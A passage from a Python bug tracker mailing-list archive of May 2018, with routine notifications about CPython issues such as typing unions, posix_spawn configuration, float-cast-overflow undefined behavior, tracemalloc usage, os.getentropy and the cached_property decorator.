that __init__ is simply the most straightforward way to affect the module namespace. You would see the same phenomenon if in your package func had a submodule bar that did: import func func.func = 1 from . import func func would now be 1, because it already exists in the module namespace at the point the relative import is done, so import just returns it, it doesn't go looking for a module to import. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 18:40:28 2018 From: report at bugs.python.org (Elvis Pranskevichus) Date: Fri, 18 May 2018 22:40:28 +0000 Subject: [issue32996] Improve What's New in 3.7 In-Reply-To: <1520251006.69.0.467229070634.issue32996@psf.upfronthosting.co.za> Message-ID: <1526683228.39.0.682650639539.issue32996@psf.upfronthosting.co.za> Change by Elvis Pranskevichus : ---------- pull_requests: +6633 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:00:49 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 18 May 2018 23:00:49 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1526684449.29.0.682650639539.issue28556@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset f65e31fee3b55dfb6ed5398179d5c5d6b502dee5 by Ivan Levkivskyi in branch 'master': bpo-28556: Don't simplify unions at runtime (GH-6841) https://github.com/python/cpython/commit/f65e31fee3b55dfb6ed5398179d5c5d6b502dee5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:01:49 2018 From: report at bugs.python.org (miss-islington) Date: Fri, 18 May 2018 23:01:49 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1526684509.76.0.682650639539.issue28556@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6634 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:04:29 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:04:29 +0000 Subject: [issue33521] Add 1.32x faster C implementation of asyncio.isfuture(). In-Reply-To: <1526398292.34.0.682650639539.issue33521@psf.upfronthosting.co.za> Message-ID: <1526684669.39.0.682650639539.issue33521@psf.upfronthosting.co.za> STINNER Victor added the comment: About the benchmark: you should not loop inside the function. I propose a variant of the benchmark: isfuture_benchmark2.py. Jimmy: Would you mind to run this variant on your PR? ---------- Added file: https://bugs.python.org/file47603/isfuture_benchmark2.py _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:27:20 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Fri, 18 May 2018 23:27:20 +0000 Subject: [issue28556] typing.py upgrades In-Reply-To: <1477756009.46.0.442279756181.issue28556@psf.upfronthosting.co.za> Message-ID: <1526686040.85.0.682650639539.issue28556@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset 09ca5906b7d1619b7efed0bebb6f3c424fe3d83b by Ivan Levkivskyi (Miss Islington (bot)) in branch '3.7': bpo-28556: Don't simplify unions at runtime (GH-6841) (GH-6979) https://github.com/python/cpython/commit/09ca5906b7d1619b7efed0bebb6f3c424fe3d83b ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:28:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:28:58 +0000 Subject: [issue16055] incorrect error text for int(base=1000, x='1') In-Reply-To: <1348688461.13.0.427927679227.issue16055@psf.upfronthosting.co.za> Message-ID: <1526686138.52.0.682650639539.issue16055@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- pull_requests: +6635 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:42:25 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:42:25 +0000 Subject: [issue30273] The coverage job is broken: distutils build_ext fails on None In-Reply-To: <1493931065.16.0.071760952021.issue30273@psf.upfronthosting.co.za> Message-ID: <1526686945.01.0.682650639539.issue30273@psf.upfronthosting.co.za> STINNER Victor added the comment: https://github.com/python/cpython/pull/1515 has the "needs backport to 2.7" label, but I'm unable to reproduce the bug on Python 2.7: * Python 2.7 has no "venv" module * When I compile Python out of tree, and then use "virtualenv -p ./python VENV", I got the following error from virtualenv.py: AssertionError: Filename /home/vstinner/prog/python/2.7/Lib/os.py does not start with any of these prefixes: ['/usr/local'] So I removed the "needs backport to 2.7" label from the PR. I'm sorry, I don't know if Python 2.7 is affected or not. In case of doubt, I prefer to not backport the change. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:44:25 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:44:25 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526687065.47.0.682650639539.issue33518@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset a3a554a536599189166843cd80e62d02b2b68aa8 by Victor Stinner (Andr?s Delfino) in branch '3.7': [3.7] bpo-33518: Add PEP entry to documentation glossary (GH-6860) (#6934) https://github.com/python/cpython/commit/a3a554a536599189166843cd80e62d02b2b68aa8 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:44:26 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:44:26 +0000 Subject: [issue33518] Add PEP to glossary In-Reply-To: <1526389344.41.0.682650639539.issue33518@psf.upfronthosting.co.za> Message-ID: <1526687066.13.0.682650639539.issue33518@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset fb5d0aa116125dfb29a3c4d8819a38dfb2760bb9 by Victor Stinner (Andr?s Delfino) in branch '3.6': [3.6] bpo-33518: Add PEP entry to documentation glossary (GH-6860) (#6935) https://github.com/python/cpython/commit/fb5d0aa116125dfb29a3c4d8819a38dfb2760bb9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:48:36 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:48:36 +0000 Subject: [issue33358] [EASY] x86 Ubuntu Shared 3.x: test_embed.test_pre_initialization_sys_options() fails In-Reply-To: <1524667276.72.0.682650639539.issue33358@psf.upfronthosting.co.za> Message-ID: <1526687316.04.0.682650639539.issue33358@psf.upfronthosting.co.za> STINNER Victor added the comment: Thank you for the fix Pablo! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:52:31 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:52:31 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526687551.52.0.682650639539.issue20104@psf.upfronthosting.co.za> STINNER Victor added the comment: posix_spawn can still be found in Python 3.7: configure:11243: posix_fallocate posix_fadvise posix_spawn pread preadv preadv2 \ configure.ac:3470: posix_fallocate posix_fadvise posix_spawn pread preadv preadv2 \ pyconfig.h.in:710:/* Define to 1 if you have the `posix_spawn' function. */ This check has been added by the commit 6c6ddf97c402709713d668d0ed53836a7749ba99 and should be removed from Python 3.7 as well, no? It's not a release blocker, but it may be good to remove posix_spawn from configure.ac (and related generated files). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:53:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:53:17 +0000 Subject: [issue16055] incorrect error text for int(base=1000, x='1') In-Reply-To: <1348688461.13.0.427927679227.issue16055@psf.upfronthosting.co.za> Message-ID: <1526687597.34.0.682650639539.issue16055@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset d13169fc5ac7572a272cbcff830c3d96ba27cc7c by Victor Stinner in branch '2.7': bpo-16055: Fixes incorrect error text for int('1', base=1000) (#6980) https://github.com/python/cpython/commit/d13169fc5ac7572a272cbcff830c3d96ba27cc7c ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 19:54:23 2018 From: report at bugs.python.org (STINNER Victor) Date: Fri, 18 May 2018 23:54:23 +0000 Subject: [issue16055] incorrect error text for int(base=1000, x='1') In-Reply-To: <1348688461.13.0.427927679227.issue16055@psf.upfronthosting.co.za> Message-ID: <1526687663.83.0.682650639539.issue16055@psf.upfronthosting.co.za> STINNER Victor added the comment: I backported manually the fix to Python 2.7 for int and long types. Thank you Chris Jerdonek for the bug report, and Sanyam Khurana for the bugfix! ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed versions: +Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:09:21 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 19 May 2018 00:09:21 +0000 Subject: [issue33575] Python relies on C undefined behavior float-cast-overflow Message-ID: <1526688561.12.0.682650639539.issue33575@psf.upfronthosting.co.za> New submission from Gregory P. Smith : Clang's undefined behavior sanitizer is flagging several places in CPython where it is relying on float-cast-overflow behavior. Typically exposed where an out of bounds floating point value is cast to another type. The clang compiler is about to start applying optimizations that alters the previous version of the undefined behavior on some platforms. We need to make CPython clean for float-cast-overflow errors. examples: _PyTime_DoubleToDenominator https://github.com/python/cpython/blob/master/Python/pytime.c#L159 _PyTime_FromFloatObject - https://github.com/python/cpython/blob/master/Python/pytime.c#L389 getargs double cast to a float - https://github.com/python/cpython/blob/master/Python/getargs.c#L864 _PyFloat_Pack4 double cast to a float - https://github.com/python/cpython/blob/master/Objects/floatobject.c#L2234 These are found by running a ubsan build with this checker enabled on test_datetime, test_getargs2, test_struct, and test_thread. There are probably others, but our own test suite happens to trigger these. In many cases we should use correct conversion code instead of the cast that does what we want when the value is out of bounds and without a defined conversion. In others we might want an OverflowError or ValueError. But preserving the existing compilers up until now behavior makes more sense from a code compatibility standpoint (ie: it is not expecting an OverflowError when we make a CPython API that takes a float as input but behind the scenes uses a C API that operates on an int64 - that is an implementation detail no user should care about). ---------- components: Extension Modules, Interpreter Core messages: 317074 nosy: gregory.p.smith priority: normal severity: normal stage: needs patch status: open title: Python relies on C undefined behavior float-cast-overflow type: behavior versions: Python 2.7, Python 3.6, Python 3.7 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:11:04 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:11:04 +0000 Subject: [issue32534] Speed-up list.insert: use memmove() In-Reply-To: <1515678734.85.0.467229070634.issue32534@psf.upfronthosting.co.za> Message-ID: <1526688664.57.0.682650639539.issue32534@psf.upfronthosting.co.za> STINNER Victor added the comment: This issue is a micro-optimization which is only 1.08x faster: https://bugs.python.org/issue32534#msg310146 Moreover, it seems really hard to measure precisely the benefit on benchmarks. Results seem to not be reliable. I suggest to close the issue as WONTFIX, as I cannot see any reliable speedup nor any significant impact on performance. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:14:41 2018 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Sat, 19 May 2018 00:14:41 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526688881.59.0.682650639539.issue20104@psf.upfronthosting.co.za> Pablo Galindo Salgado added the comment: I originally removed it from the configure script in PR6794 but it was reintroduced in commit 57009526f6a405e0ffe8c16012cce509b62cb577. Check the PR for Greg's rationale. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:20:50 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:20:50 +0000 Subject: [issue29640] _PyThreadState_Init and fork race leads to inconsistent key list In-Reply-To: <1487927038.37.0.851881550844.issue29640@psf.upfronthosting.co.za> Message-ID: <1526689250.16.0.682650639539.issue29640@psf.upfronthosting.co.za> STINNER Victor added the comment: Oh, it seems like I was wrong in my previous comment. Python 2.7 code base is already designed to support native TLS. It's just that we only implement native TLS on Windows. So yeah, it seems doable to implement native TLS for pthread. History of Py_HAVE_NATIVE_TLS: commit 8d98d2cb95ac37147a4de5a119869211e8351324 Author: Mark Hammond Date: Sat Apr 19 15:41:53 2003 +0000 New PyGILState_ API - implements pep 311, from patch 684256. commit 00f2df495a6fcb40d70243c34f296f26ccc72719 Author: Kristj?n Valur J?nsson Date: Fri Jan 9 20:03:27 2009 +0000 Issue 3582. Improved thread support and TLS for Windows ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:25:40 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:25:40 +0000 Subject: [issue33470] Changes from GH-1638 (GH-3575, bpo-28411) are not documented in Porting to Python 3.7 In-Reply-To: <1526114406.62.0.682650639539.issue33470@psf.upfronthosting.co.za> Message-ID: <1526689540.13.0.682650639539.issue33470@psf.upfronthosting.co.za> STINNER Victor added the comment: > Sorry for mixing two things here, but I meant that I found out about this because of the private API use in gdb, however nothing from the change is documented on whatsnew at all. It seems like there is at least one change in the public API: the removal of the PyInterpreterState.modules field. Are the members of the PyInterpreterState structure part of the public API? @Eric: do you consider that it should be documented? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:30:21 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:30:21 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526689821.85.0.682650639539.issue33528@psf.upfronthosting.co.za> STINNER Victor added the comment: I know two main use cases for random numbers: * security: use os.urandom(), secrets and random.SystemRandom * not security: use the random module Exposing os.getentropy() seems like a new non-portable function for the first use case, security. What does it add compared to directly call os.urandom() for example? I chose to expose os.getrandom() for one very specific use case, described in the PEP 524: check if os.urandom() is going to block. On OpenBSD, os.urandom() and getentropy() does never block, so os.getentropy() seems useless to me. OpenBSD design is different: the CSRPNG is feeded from the boot loader. Or tell me if I missed something. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:33:03 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:33:03 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526689983.77.0.682650639539.issue21145@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:35:06 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:35:06 +0000 Subject: [issue26819] _ProactorReadPipeTransport pause_reading()/resume_reading() broken if called before any read is perfored In-Reply-To: <1461260041.01.0.731551553745.issue26819@psf.upfronthosting.co.za> Message-ID: <1526690106.42.0.682650639539.issue26819@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:36:17 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:36:17 +0000 Subject: [issue33501] split existing optimization levels into granular options In-Reply-To: <1526314717.24.0.682650639539.issue33501@psf.upfronthosting.co.za> Message-ID: <1526690177.66.0.682650639539.issue33501@psf.upfronthosting.co.za> STINNER Victor added the comment: I'm not sure that the bug tracker is the best place to propose such idea. Maybe start a new thread on python-ideas? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:37:26 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:37:26 +0000 Subject: [issue33341] python3 fails to build if directory or sysroot contains "*icc*" string In-Reply-To: <1524478342.39.0.682650639539.issue33341@psf.upfronthosting.co.za> Message-ID: <1526690246.97.0.682650639539.issue33341@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: -vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:38:18 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:38:18 +0000 Subject: [issue33341] python3 fails to build if directory or sysroot contains "*icc*" string In-Reply-To: <1524478342.39.0.682650639539.issue33341@psf.upfronthosting.co.za> Message-ID: <1526690298.75.0.682650639539.issue33341@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:38:23 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:38:23 +0000 Subject: [issue28584] ICC compiler check is too permissive In-Reply-To: <1478035366.63.0.90573648053.issue28584@psf.upfronthosting.co.za> Message-ID: <1526690303.53.0.682650639539.issue28584@psf.upfronthosting.co.za> Change by STINNER Victor : ---------- nosy: +vstinner _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:42:04 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:42:04 +0000 Subject: [issue33531] test_asyncio: test_subprocess test_stdin_broken_pipe() failure on Travis CI In-Reply-To: <1526452192.92.0.682650639539.issue33531@psf.upfronthosting.co.za> Message-ID: <1526690524.67.0.682650639539.issue33531@psf.upfronthosting.co.za> STINNER Victor added the comment: Terry: " The Travis retest (for 3.7 backport) just failed with the same errors. Why can't we disable this tests. It now takes hours to do a merge with two backports." Usually, I prefer to try to understand a bug before disabling, even temporarely, a test. Most of the time, a test failure means a regression. If we disable a test, we reduce the code coverage and more generally reduces the quality of the code. I would prefer to only disable the test if nobody understand the issue and the issue blocks the workflow longer than a few days. This week, there was a CPython sprint during Pycon US, so yeah, it was annoying. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:48:38 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:48:38 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526690918.71.0.682650639539.issue33565@psf.upfronthosting.co.za> STINNER Victor added the comment: tracemalloc doesn't track memory leaks. It tracks memory allocations. I'm not sure that you are using tracemalloc properly. I suggest you to enable tracemalloc as soon as possible, take snapshot frequently (eg. at each iteration) and write them on disk, and later compute differences between snapshots. You may want to try my tracemallocqt UI to analyze snapshots: http://pytracemalloc.readthedocs.io/tracemallocqt.html What matters to track a memory leak is to find the largest positive difference. I don't know what allocated "21 memory blocks: 4.7 KiB" at your "raise" line. tracemalloc tracks *all* memory allocated by Python, including very private internal structures, like the dictionary used for "interned" strings. Sometimes, results can be surprising, but it should be simpler if you focus on differences between two snapshots. If you have a leak per iteration, after 10 or 25 iterations, the difference should become obvious. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:49:04 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:49:04 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1526690944.41.0.682650639539.issue33565@psf.upfronthosting.co.za> STINNER Victor added the comment: Once you found and fixed your memory leak, any documentation enhancement is welcome :-) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:50:40 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 00:50:40 +0000 Subject: [issue20104] expose posix_spawn(p) In-Reply-To: <1388600000.81.0.911230526926.issue20104@psf.upfronthosting.co.za> Message-ID: <1526691040.57.0.682650639539.issue20104@psf.upfronthosting.co.za> STINNER Victor added the comment: > I originally removed it from the configure script in PR6794 but it was reintroduced in commit 57009526f6a405e0ffe8c16012cce509b62cb577. Check the PR for Greg's rationale. Oh ok. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:55:08 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 19 May 2018 00:55:08 +0000 Subject: [issue19950] Document that unittest.TestCase.__init__ is called once per test In-Reply-To: <1386714858.72.0.878231586551.issue19950@psf.upfronthosting.co.za> Message-ID: <1526691308.72.0.682650639539.issue19950@psf.upfronthosting.co.za> Gregory P. Smith added the comment: New changeset a5f33a899f6450de96f5e4cd154de4486d50bdd7 by Gregory P. Smith (Miss Islington (bot)) in branch '3.6': bpo-19950: Clarify unittest TestCase instance use. (GH-6875) (GH-6939) https://github.com/python/cpython/commit/a5f33a899f6450de96f5e4cd154de4486d50bdd7 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:55:47 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 19 May 2018 00:55:47 +0000 Subject: [issue19950] Document that unittest.TestCase.__init__ is called once per test In-Reply-To: <1386714858.72.0.878231586551.issue19950@psf.upfronthosting.co.za> Message-ID: <1526691347.58.0.682650639539.issue19950@psf.upfronthosting.co.za> Gregory P. Smith added the comment: New changeset 436972e295f5057fe7cdd7312f543c2fa884705d by Gregory P. Smith (Miss Islington (bot)) in branch '3.7': bpo-19950: Clarify unittest TestCase instance use. (GH-6875) (GH-6938) https://github.com/python/cpython/commit/436972e295f5057fe7cdd7312f543c2fa884705d ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 20:57:20 2018 From: report at bugs.python.org (Gregory P. Smith) Date: Sat, 19 May 2018 00:57:20 +0000 Subject: [issue19950] Document that unittest.TestCase.__init__ is called once per test In-Reply-To: <1386714858.72.0.878231586551.issue19950@psf.upfronthosting.co.za> Message-ID: <1526691440.16.0.682650639539.issue19950@psf.upfronthosting.co.za> Change by Gregory P. Smith : ---------- resolution: -> fixed stage: patch review -> commit review status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 21:33:22 2018 From: report at bugs.python.org (Martin Panter) Date: Sat, 19 May 2018 01:33:22 +0000 Subject: [issue1621] Do not assume signed integer overflow behavior In-Reply-To: <1197593027.35.0.00314874350765.issue1621@psf.upfronthosting.co.za> Message-ID: <1526693602.94.0.682650639539.issue1621@psf.upfronthosting.co.za> Martin Panter added the comment: Sorry I haven?t made a PR for ctypes_v2.patch, but I don?t mind if someone else takes over. I understand the HAVE_LONG_LONG check may no longer necessary for newer Python versions. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 21:38:02 2018 From: report at bugs.python.org (Martin Panter) Date: Sat, 19 May 2018 01:38:02 +0000 Subject: [issue33321] Add a Linux clang ubsan undefined behavior sanitizer buildbot In-Reply-To: <1524268101.98.0.682650639539.issue33321@psf.upfronthosting.co.za> Message-ID: <1526693882.3.0.682650639539.issue33321@psf.upfronthosting.co.za> Martin Panter added the comment: Perhaps your ?ctypes? problems may be helped by my ctypes_v2.patch in Issue 1621. Or perhaps they are already documented in Issue 15119 and/or Issue 28169. ---------- nosy: +martin.panter _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 22:03:20 2018 From: report at bugs.python.org (Martin Panter) Date: Sat, 19 May 2018 02:03:20 +0000 Subject: [issue20941] pytime.c:184 and pytime.c:218: runtime error, outside the range of representable values of type 'long' In-Reply-To: <1394920125.71.0.89652214774.issue20941@psf.upfronthosting.co.za> Message-ID: <1526695400.85.0.682650639539.issue20941@psf.upfronthosting.co.za> Martin Panter added the comment: Maybe worth checking if this is fixed due to the changes in Issue 31373 for 3.6+. ---------- nosy: +martin.panter resolution: -> out of date superseder: -> demoting floating float values to unrepresentable types is undefined behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 22:20:57 2018 From: report at bugs.python.org (STINNER Victor) Date: Sat, 19 May 2018 02:20:57 +0000 Subject: [issue20941] pytime.c:184 and pytime.c:218: runtime error, outside the range of representable values of type 'long' In-Reply-To: <1394920125.71.0.89652214774.issue20941@psf.upfronthosting.co.za> Message-ID: <1526696457.25.0.682650639539.issue20941@psf.upfronthosting.co.za> STINNER Victor added the comment: "resolution: out of date" Is this issue fixed or not? It's still open. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 22:38:05 2018 From: report at bugs.python.org (Martin Panter) Date: Sat, 19 May 2018 02:38:05 +0000 Subject: [issue20941] pytime.c:184 and pytime.c:218: runtime error, outside the range of representable values of type 'long' In-Reply-To: <1394920125.71.0.89652214774.issue20941@psf.upfronthosting.co.za> Message-ID: <1526697485.97.0.682650639539.issue20941@psf.upfronthosting.co.za> Martin Panter added the comment: I don?t know; I haven?t tested it. I was anticipating that it is fixed, but perhaps I should leave the resolution alone instead? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri May 18 22:46:19 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 02:46:19 +0000 Subject: [issue33499] Environment variable to set alternate location for pycache tree In-Reply-To: <1526310769.71.0.682650639539.issue33499@psf.upfronthosting.co.za> Message-ID: <1526697979.34.0.682650639539.issue33499@psf.upfronthosting.co.za> Carl Meyer added the comment: Cool, thanks for the pointer on -X. PR is updated with `-X bytecode_path=PATH`; don't think it's critical to have it, but it wasn't that hard to add. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 00:13:59 2018 From: report at bugs.python.org (Benjamin Peterson) Date: Sat, 19 May 2018 04:13:59 +0000 Subject: [issue33575] Python relies on C undefined behavior float-cast-overflow In-Reply-To: <1526688561.12.0.682650639539.issue33575@psf.upfronthosting.co.za> Message-ID: <1526703239.12.0.682650639539.issue33575@psf.upfronthosting.co.za> Benjamin Peterson added the comment: You might want to have a look at #20941. Arguably ubsan is too pendantic in some of these cases. ---------- nosy: +benjamin.peterson _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 00:18:46 2018 From: report at bugs.python.org (David Carlier) Date: Sat, 19 May 2018 04:18:46 +0000 Subject: [issue33528] os.getentropy support In-Reply-To: <1526450703.49.0.682650639539.issue33528@psf.upfronthosting.co.za> Message-ID: <1526703526.5.0.682650639539.issue33528@psf.upfronthosting.co.za> David Carlier added the comment: Those are valid points honestly. OpenBSD's getentropy works that way indeed (getentropy has also been implemented into FreeBSD in the CURRENT branch couple of months ago). So indeed os.urandom provides already a wrapping usage only this one gives the responsibility to the caller to handle cases when more than 256 bytes at a time. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 00:47:10 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 19 May 2018 04:47:10 +0000 Subject: [issue19251] bitwise ops for bytes of equal length In-Reply-To: <1381694847.24.0.709324715816.issue19251@psf.upfronthosting.co.za> Message-ID: <1526705230.47.0.682650639539.issue19251@psf.upfronthosting.co.za> Nick Coghlan added the comment: I think Antoine's right that another venue (such as python-ideas) might be a better venue for this discussion, but I'll still try to explain the potential analogy I see to bytes.upper()/.lower()/etc: those operations let you treat ASCII segments in otherwise binary data as ASCII text, *without* needing to convert them to str first. While doing the str conversion is more formally correct, being able to stay in the raw binary domain frequently offers significant practical benefits by reducing both the runtime performance overhead and the amount of code needed. Offering bitwise operations for bytes segments of equal length (perhaps via memoryview, or a memoryview subclass that only supports C-contiguous views) *might* turn out to offer a similar benefit when it comes to manipulating sections of a data buffer that represent integers (or anything else with a well-defined binary representation). With the right buffer exporter, you could even use it for direct bit-bashing of memory-mapped registers (which then gets quite interesting in the context of MicroPython applications). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 00:55:25 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 04:55:25 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526705725.08.0.682650639539.issue21145@psf.upfronthosting.co.za> Change by Carl Meyer : ---------- pull_requests: +6636 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 00:59:10 2018 From: report at bugs.python.org (Carl Meyer) Date: Sat, 19 May 2018 04:59:10 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526705950.98.0.682650639539.issue21145@psf.upfronthosting.co.za> Carl Meyer added the comment: Sent a PR with the patch. Nick, I tried your `__set_name__` proposal to get an earlier error in case of an object with slots, but it has the downside that Python seems to always raise a new chained exception if `__set_name__` raises any exception. So instead of getting a clear error, you get an opaque one about "error raised when calling __set_name__ on...", and you have to scroll up to see the real error message. I felt that this was too much usability regression and not worth the benefit of raising the error sooner. Let me know if you feel otherwise. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 01:38:03 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 19 May 2018 05:38:03 +0000 Subject: [issue21145] Add the @cached_property decorator In-Reply-To: <1396520932.53.0.707047361064.issue21145@psf.upfronthosting.co.za> Message-ID: <1526708283.51.0.682650639539.issue21145@psf.upfronthosting.co.za> Nick Coghlan added the comment: I think it would make sense to remove the exception wrapping from the __set_name__ calls - I don't think we're improving the ease of understanding the tracebacks by converting everything to a generic RuntimeError, and we're hurting the UX of descriptor validation cases like this one. [1] https://github.com/python/cpython/blob/master/Objects/typeobject.c#L7263 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 19 01:41:19 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sat, 19 May 2018 05:41:19 +0000 Subject: [issue33576] Remove exception wrapping from __set_name__ calls Message-ID: <1526708479.7.0.682650639539.issue33576@psf.upfronthosting.co.za> New submission from Nick Coghlan : Type creation currently wraps all exceptions raised by __set_name__ calls with a generic RuntimeError: https://github.com/python/cpython/blob/master/Objects/typeobject.c#L7263 Unfortunately, this makes it difficult to use __set_name__ for descriptor validation operations, since it means the specific exception type gets lost, and it makes the traceback much harder to read (since the generic error messages appears at the end, while the actual error appears somewhere in the middle). See https://bugs.python.org/issue21145#msg317097 for a specific example. ---------- components: Interpreter Core messages: 317098 nosy: ncoghlan priority: normal severity: 